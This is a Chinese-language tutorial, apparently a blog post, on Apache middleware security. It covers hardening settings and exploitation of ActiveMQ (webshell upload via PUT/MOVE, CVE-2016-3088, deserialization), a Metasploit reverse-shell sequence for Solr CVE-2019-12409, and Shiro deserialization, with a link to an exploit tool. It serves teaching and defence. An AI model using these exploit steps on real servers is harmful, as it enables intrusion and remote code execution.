中间件安全-Apache
字数 1342 2025-08-25 22:58:41

Apache中间件安全配置与漏洞分析

1. Web服务器概述

1.1 Apache与Tomcat的关系

  • 功能区别

    • Apache:纯静态页面服务器,需通过扩展模块支持PHP/CGI/Perl等动态脚本
    • Tomcat:Servlet引擎,支持JSP动态页面
  • 整合优势

    • 静态请求由Apache处理
    • 动态请求转发给Tomcat处理
    • 减少Tomcat的服务开销
  • 运行环境

    • 需要Apache+Tomcat+JDK组合运行JSP
    • JDK提供数据库连接驱动

1.2 Apache与Nginx的关系

  • Nginx特点

    • 轻量级Web服务器/反向代理服务器
    • 内存占用少,并发能力强
    • 静态页面处理能力突出
    • 反向代理服务表现优秀
  • 常见架构

    • Nginx+PHP
    • Nginx+Tomcat
    • Nginx+Apache+PHP

2. Apache安全配置

2.1 目录遍历防护

  • 风险配置

    <Directory "/var/www/html">
        Options Indexes FollowSymLinks
    </Directory>
    
  • 安全配置

    <Directory "/var/www/html">
        Options -Indexes +FollowSymLinks
    </Directory>
    

2.2 隐藏版本信息

  • 配置方法
    修改http.conf中的ServerToken字段:
    ServerTokens Prod   # 仅显示"Server: Apache"
    ServerTokens Major  # 显示"Apache/2"
    ServerTokens Minor  # 显示"Apache/2.2"
    ServerTokens Min    # 显示"Apache/2.2.17"
    ServerTokens OS     # 显示"Apache/2.2.17 (Unix)"
    ServerTokens Full   # 显示完整信息
    

2.3 HTTP方法限制

  • 安全配置
    <Location "/">
      <LimitExcept GET POST OPTIONS>   
        Order Allow,Deny    
        Deny from all    
      </LimitExcept>      
    </Location>
    TraceEnable off
    

2.4 文件解析漏洞

  • 漏洞原理

    • Apache从右到左解析文件后缀
    • 上传test.php.qwea会被解析为PHP文件
  • 防护措施

    • 严格限制上传文件类型
    • 配置AddHandler指令明确指定处理程序

3. Apache相关组件漏洞

3.1 Apache ActiveMQ漏洞

3.1.1 默认凭据/未授权访问

  • 默认端口:8161
  • 默认凭据:admin/admin

3.1.2 物理路径泄漏

  • 利用方法
    PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
    

3.1.3 任意文件上传

  • 利用方法
    PUT /fileserver/shell.jsp HTTP/1.1
    [shell code]
    

3.1.4 文件移动漏洞(CVE-2016-3088)

  • 影响版本:5.x ~ 5.14.0
  • 利用方法
    MOVE /fileserver/shell.jsp HTTP/1.1
    Destination: file:///path/to/webapps/admin/shell.jsp
    

3.1.5 反序列化漏洞(CVE-2015-5254)

  • 影响版本:< 5.13.0
  • 利用步骤
    1. 使用jmet生成payload
    2. 发送到61616端口
    3. 通过管理界面触发

3.2 Apache Solr漏洞(CVE-2019-12409)

  • 影响版本:8.1.1和8.2.0
  • 漏洞原因:默认启用JMX监控服务(18983端口)且无认证
  • 利用方法
    use multi/misc/java_jmx_server
    set RHOSTS target_ip
    set RPORT 18983
    set payload java/meterpreter/reverse_tcp
    exploit
    

3.3 Apache Shiro反序列化漏洞

  • 影响版本:<= 1.2.4

  • 漏洞原因:硬编码AES加密密钥

  • 检测方法

    • 检查响应包中的rememberMe标记
    • 修改Cookie添加rememberMe=deleteMe
  • 利用工具
    https://github.com/kat110/Pentest/tree/master/shiro_rce

4. Apache权限管理

4.1 Linux下权限检查

  • 使用命令:lsof -i:80
  • 通常:
    • 主进程:root权限
    • 子进程:www-data权限

4.2 权限配置文件

  • 主配置文件:/etc/apache2/apache2.conf
  • 用户/组设置文件:/etc/apache2/envvars

5. 安全建议

  1. 定期更新Apache及组件到最新版本
  2. 禁用不必要的HTTP方法
  3. 隐藏服务器版本信息
  4. 限制目录遍历
  5. 严格控制上传文件类型
  6. 修改默认凭据
  7. 监控异常日志
  8. 最小化服务权限原则
Apache中间件安全配置与漏洞分析 1. Web服务器概述 1.1 Apache与Tomcat的关系 功能区别 : Apache:纯静态页面服务器,需通过扩展模块支持PHP/CGI/Perl等动态脚本 Tomcat:Servlet引擎,支持JSP动态页面 整合优势 : 静态请求由Apache处理 动态请求转发给Tomcat处理 减少Tomcat的服务开销 运行环境 : 需要Apache+Tomcat+JDK组合运行JSP JDK提供数据库连接驱动 1.2 Apache与Nginx的关系 Nginx特点 : 轻量级Web服务器/反向代理服务器 内存占用少,并发能力强 静态页面处理能力突出 反向代理服务表现优秀 常见架构 : Nginx+PHP Nginx+Tomcat Nginx+Apache+PHP 2. Apache安全配置 2.1 目录遍历防护 风险配置 : 安全配置 : 2.2 隐藏版本信息 配置方法 : 修改http.conf中的 ServerToken 字段: 2.3 HTTP方法限制 安全配置 : 2.4 文件解析漏洞 漏洞原理 : Apache从右到左解析文件后缀 上传 test.php.qwea 会被解析为PHP文件 防护措施 : 严格限制上传文件类型 配置 AddHandler 指令明确指定处理程序 3. Apache相关组件漏洞 3.1 Apache ActiveMQ漏洞 3.1.1 默认凭据/未授权访问 默认端口:8161 默认凭据:admin/admin 3.1.2 物理路径泄漏 利用方法 : 3.1.3 任意文件上传 利用方法 : 3.1.4 文件移动漏洞(CVE-2016-3088) 影响版本 :5.x ~ 5.14.0 利用方法 : 3.1.5 反序列化漏洞(CVE-2015-5254) 影响版本 : < 5.13.0 利用步骤 : 使用jmet生成payload 发送到61616端口 通过管理界面触发 3.2 Apache Solr漏洞(CVE-2019-12409) 影响版本 :8.1.1和8.2.0 漏洞原因 :默认启用JMX监控服务(18983端口)且无认证 利用方法 : 3.3 Apache Shiro反序列化漏洞 影响版本 : <= 1.2.4 漏洞原因 :硬编码AES加密密钥 检测方法 : 检查响应包中的rememberMe标记 修改Cookie添加rememberMe=deleteMe 利用工具 : https://github.com/kat110/Pentest/tree/master/shiro_ rce 4. Apache权限管理 4.1 Linux下权限检查 使用命令: lsof -i:80 通常: 主进程:root权限 子进程:www-data权限 4.2 权限配置文件 主配置文件: /etc/apache2/apache2.conf 用户/组设置文件: /etc/apache2/envvars 5. 安全建议 定期更新Apache及组件到最新版本 禁用不必要的HTTP方法 隐藏服务器版本信息 限制目录遍历 严格控制上传文件类型 修改默认凭据 监控异常日志 最小化服务权限原则